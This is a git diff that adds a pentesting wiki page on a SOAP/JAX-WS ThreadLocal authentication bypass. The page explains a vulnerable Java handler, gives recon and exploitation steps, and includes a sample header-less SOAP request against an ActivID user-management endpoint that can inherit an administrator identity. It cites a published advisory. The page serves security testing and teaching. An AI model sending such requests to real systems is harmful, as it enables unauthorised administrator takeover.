diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 8dbee3d44c5..07cd6f33cfc 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -701,6 +701,7 @@
 - [SAML Attacks](pentesting-web/saml-attacks/README.md)
   - [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
 - [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
+- [Soap Jax Ws Threadlocal Auth Bypass](pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md)
 - [SQL Injection](pentesting-web/sql-injection/README.md)
   - [MS Access SQL Injection](pentesting-web/sql-injection/ms-access-sql-injection.md)
   - [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
diff --git a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md
new file mode 100644
index 00000000000..c9974556a15
--- /dev/null
+++ b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md
@@ -0,0 +1,67 @@
+# SOAP/JAX-WS ThreadLocal Authentication Bypass
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+- Some middleware chains store the authenticated `Subject`/`Principal` inside a static `ThreadLocal` and only refresh it when a proprietary SOAP header arrives.
+- Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged `Subject` processed by the thread to be silently reused.
+- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context.
+
+## Root Cause
+
+Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives:
+
+```java
+public boolean handleMessage(SOAPMessageContext ctx) {
+    if (!outbound) {
+        SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
+        SOAPHeaderElement e = findHeader(hdr, subjectName);
+        if (e != null) {
+            SubjectHolder.setSubject(unmarshal(e));
+        }
+    }
+    return true;
+}
+```
+
+## Recon
+
+1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block `?wsdl` yet accept POSTs (map them alongside the flow in [80,443 - Pentesting Web Methodology](../network-services-pentesting/pentesting-web/README.md)).
+2. Unpack the EAR/WAR/EJB artifacts (`unzip *.ear`) and inspect `application.xml`, `web.xml`, `@WebService` annotations, and handler chains (e.g., `LoginHandlerChain.xml`) to uncover the handler class, SOAP header QName, and the backing EJB names.
+3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes.
+4. Review the handler sources for `ThreadLocal` keepers (e.g., `SubjectHolder.setSubject()`) that are never cleared when the authentication header is missing or malformed.
+
+## Exploitation
+
+1. Send a valid request **with** the proprietary header to learn the normal response codes and any error used for invalid tokens.
+2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly.
+3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers.
+
+```http
+POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
+Host: target
+Content-Type: text/xml;charset=UTF-8
+
+<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+                  xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
+  <soapenv:Header/>
+  <soapenv:Body>
+    <jax:findUserIds>
+      <arg0></arg0>
+      <arg1>spl*</arg1>
+    </jax:findUserIds>
+  </soapenv:Body>
+</soapenv:Envelope>
+```
+
+## Validating the Bug
+
+- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`.
+
+## References
+
+- [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html)
+- [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f)
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index 7c1db32a17e..9a0e6e5b500 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -114,6 +114,7 @@ Some **specific functionalities** may be also vulnerable if a **specific format
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 - [ ] [**GraphQL Attacks**](../network-services-pentesting/pentesting-web/graphql.md)
 - [ ] [**gRPC-Web Attacks**](grpc-web-pentest.md)
+- [ ] [**SOAP/JAX-WS ThreadLocal Auth Bypass**](soap-jax-ws-threadlocal-auth-bypass.md)
 
 ### Files
 
@@ -210,5 +211,4 @@ Modern applications extend into browsers, wallets, and automation pipelines—ke
 - [ ] [**Browser Extension Pentesting**](browser-extension-pentesting-methodology/)
 - [ ] [**wfuzz Web Fuzzing**](web-tool-wfuzz.md)
 
-
 {{#include ../banners/hacktricks-training.md}}